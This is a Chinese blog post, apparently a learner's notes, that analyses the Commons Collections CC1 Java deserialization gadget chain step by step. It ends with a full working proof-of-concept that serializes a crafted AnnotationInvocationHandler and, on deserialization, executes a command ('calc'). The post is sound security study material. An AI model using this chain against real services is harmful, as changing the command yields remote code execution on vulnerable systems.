java cc1链后续

文章详细解析了JavaCC中ChainedTransformer的使用,涉及漏洞利用路径,重点讨论了如何通过Decorate方法和Transformers进行控制,以及序列化和反序列化过程中关键方法如transformValue、checkSetValue和readObject的调用过程。
摘要由CSDN通过智能技术生成

java cc1链后续
上篇已经了解,漏洞出现的方法在InvokerTransformer.transform方法中,并且通过ChainedTransformer.transform进行了调用利用,这里查找有那些方法调用了ChainedTransformer.transform,(右键->转到->声明或用例),这里找到了TransformedMap类里面的transformValue,由于是被protected修饰的,然后找到了put方法,transformValue方法中的valueTransformer是由TransformedMap,也是被protected修饰的,所以找到了decorate方法
代码如下

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}
    protected Object transformValue(Object object) {
        if (valueTransformer == null) {
            return object;
        }
        return valueTransformer.transform(object);
    }
public Object put(Object key, Object value) {
    key = transformKey(key);
    value = transformValue(value);
    return getMap().put(key, value);
}

不考虑getRutime的情况下,直接利用InvokerTransformer.transform方法

InvokerTransformer a=   new InvokerTransformer("exec", new Class[]{String.class},        new Object[]{"calc"});
Map b=new HashMap();
Map c = TransformedMap.decorate(b, null, a);
c.put("aaa",Runtime.getRuntime());

考虑getRuntime序列化的话,则变为

Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                    new Class[]{String.class, Class[].class},
                    new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke",
                    new Class[]{Object.class, Object[].class},
                    new Object[]{null, null}),
            new InvokerTransformer("exec",
                    new Class[]{String.class},
                    new String[]{"Calc.exe"}),
    };

    Transformer transformerChain = new ChainedTransformer(transformers);
    Map innerMap = new HashMap();
    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    outerMap.put("test", "666");

因为这里面运行了ConstantTransformer.transform方法,所以在put方法中不用传入Runtime.getRuntime(),至于为什么传入的分别是Runtime.getRuntime()Runtime.class,上篇已给出解释
但最后的目的是反序列化,也就是readObject,这里跟着前人的想法找到了checkSetValue方法,实际上checkSetValuetransformValue大体相同,checkSetValuereadObject的距离相对较近,可能会有别的路线,但是调用put的有几千个方法,还要一层一层的往上找,就不找别的了

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

右键查找只有一个方法调用了checkSetValue方法,在AbstractInputCheckedMapDecorator下面的setValue方法,在AnnotationInvocationHandlerreadObject方法中调用了setValue方法。

AbstractInputCheckedMapDecorator下面的setValue方法,刚好是用来修改Map键值对中的属性值的,这里使用循环遍历数组或者查看特定属性名均可

        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        Map<Object, Object> map = new HashMap<>();
        map.put("apple", 111);
        Map<Object, Object> transformedmap = TransformedMap.decorate (map, null, invokerTransformer);
        Map.Entry<Object, Object> entry = transformedmap.entrySet().stream()
                .filter(e -> e.getKey().equals("apple"))
                .findFirst()
                .orElse(null);
        entry.setValue(r);
        
        

或者

for (Map.Entry<Object, Object> entry : transformedmap.entrySet()) {
           entry.setValue(r);
       }

AnnotationInvocationHandlerreadObject方法中就是这种for循环遍历然后调用setValue方法

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    String name = memberValue.getKey();
    Class<?> memberType = memberTypes.get(name);
    if (memberType != null) {  // i.e. member still exists
        Object value = memberValue.getValue();
        if (!(memberType.isInstance(value) ||
              value instanceof ExceptionProxy)) {
            memberValue.setValue(
                new AnnotationTypeMismatchExceptionProxy(
                    value.getClass() + "[" + value + "]").setMember(
                        annotationType.members().get(name)));
        }
    }
}

这里需要修改的就是memberValues的值,而memberValues的值是由

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    Class<?>[] superInterfaces = type.getInterfaces();
    if (!type.isAnnotation() ||
        superInterfaces.length != 1 ||
        superInterfaces[0] != java.lang.annotation.Annotation.class)
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    this.type = type;
    this.memberValues = memberValues;
}

构造器决定的,由于该构造器为私有方法.只能通过反射的方式进行调用,通过反射创建一个实例,当实例被反序列化时,实例中的readObject方法会自动执行,由于这里的构造方法为私有方法,所以只能够通过反射进行调用

Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class, Map.class);//获取构造方法
constructor.setAccessible(true);//改变私有属性
Object o=constructor.newInstance(Target.class,transformedmap);//创建实例

由于这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,而所使用的注解Override是没有成员变量的:

@Target(ElementType.METHOD)
@Retention(RetentionPolicy.SOURCE)
public @interface Override {
}

这里使用target

@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {
    ElementType[] value();
}

然后再加上序列化和反序列化方法,最后的poc为

public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person.bin"));
        oos.writeObject(object);
    }
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();

    }
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new String[]{"calc"}),
        };
        ChainedTransformer chainedTransformer= new ChainedTransformer(transformers);

        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","gxngxngxn");
        Map<Object,Object> transformedmap= TransformedMap.decorate(map,null,chainedTransformer);

        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o=constructor.newInstance(Target.class,transformedmap);
        serialize(o);
        unserialize("person.bin");
   }

代码运行流程
反序列化时,由于序列化的是一个实例,自动执行实例下面的readObject()方法,readObject()-->setValue()-->checkSetValue()->ChainedTransformer.transform()-->ConstantTransformer.transform()-->InvokerTransformer.transform()
由于readObject()–>setValue()传入的参数为

new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name))

使用ConstantTransformer.transform()方法替换为Runtime.class

这两篇更多的是根据poc来进行分片分析,涉及的方面有些许遗漏,还请见谅

大佬 菜菜 带带

  • 11
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值